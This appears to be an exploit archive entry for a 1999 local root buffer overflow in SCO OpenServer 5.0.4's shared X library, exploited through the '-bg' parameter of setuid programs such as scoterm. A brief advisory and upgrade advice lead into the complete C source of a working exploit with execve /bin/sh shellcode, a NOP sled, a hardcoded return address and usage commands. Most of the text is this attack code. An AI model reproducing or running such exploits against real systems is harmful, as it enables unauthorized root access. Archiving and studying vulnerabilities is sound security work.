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Platforms Tested: SCO OpenServer 5.0.4
1999

Buffer Overflow Vulnerability in Shared X Library

A buffer overflow vulnerability in the shared X library may allows local users to obtain higher privileges. Any setuid applications linked against the library are possibly vulnerable. The vulnerability is in the handling of the '-bg' command line parameter. Setuid root applications known to be vulnerable inclue xload, xmcd, xterm, and scoterm. Setuid bin applications known to be vulnerable include scosession. An exploit code is provided which can be used to gain root access.

Mitigation:

Upgrade to the latest version of the library and applications linked against it.
Source

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// source: https://www.securityfocus.com/bid/638/info
 
A buffer overflow vulnerability in the shared X library may allows local users to obtain higher privileges. Any setuid applications linked against the library are possibly vulnerable. The vulnerability is in the handling of the '-bg' command line parameter.
 
 
Setuid root applications known to be vulnerable inclue xload, xmcd, xterm, and scoterm.
 
Setuid bin applications known to be vulnerable include scosession. 

/*
 * <scotermx.c> Local root exploit 
 *
 * Offset: scoterm (SCO OpenServer 5.0.4)
 * 0 -> From an open scoterm (without display parameter)
 * 2500 -> From remote telnet (with display parameter)
 *
 * Usage: 
 * $ cc scotermx.c -o scotermx
 * $ scoterm 
 * $ /usr/bin/X11/scoterm -geometry `scotermx 0`
 *                      or
 * $ /usr/bin/X11/scoterm -display 1.1.1.1:0 -geometry `scotermx 2500`
 *
 * Note: scoterm need to be run from a valid x-display
 *
 * By: The Dark Raver of CPNE (Murcia/Spain - 21/6/99) 
 *
 * <http://members.tripod.com/~ochodedos> - <doble@iname.com>
 *
 */ 


#include <stdlib.h>
#include <stdio.h>


char hell[]=
"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
"\xff\xff/bin/sh\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";

/*
char hell[]=
"\xeb\x1b" // start: jmp uno 
"\x5e" // dos: popl %esi
"\x31\xdb" // xorl %ebx,%ebx
"\x89\x5e\x07" // movb %bl,0x7(%esi)
"\x89\x5e\x0c" // movl %ebx,0x0c(%esi)
"\x88\x5e\x11" // movb %bl,0x11(%esi)
"\x31\xc0" // xorl %eax,%eax
"\xb0\x3b" // movb $0x3b,%al
"\x8d\x7e\x07" // leal 0x07(%esi),%edi
"\x89\xf9" // movl %edi,%ecx
"\x53" // pushl %ebx
"\x51" // pushl %ecx
"\x56" // pushl %esi
"\x56" // pushl %esi
"\xeb\x10" // jmp execve
"\xe8\xe0\xff\xff\xff" // uno: call dos
"/bin/sh"
"\xaa\xaa\xaa\xaa"
"\x9a\xaa\xaa\xaa\xaa\x07\xaa"; // execve: lcall 0x7,0x0 
*/

                       
#define OFF 0x80452ff   // SCO OpenServer 5.0.4
#define ALINEA 1
#define LEN 2000
                       

int main(int argc, char *argv[]) {

int offset=0;
char buf[LEN];
int i;

if(argc < 2) {
        printf("Usage: scotermx <offset>\n"); 
        exit(0); }
else {
        offset=atoi(argv[1]); }

memset(buf,0x90,LEN);
memcpy(buf+1000,hell,strlen(hell));
for(i=1100+ALINEA;i<LEN-4;i+=4)
        *(int *)&buf[i]=OFF+offset;

for(i=0;i<LEN;i++)
        putchar(buf[i]);
        
exit(0);        
}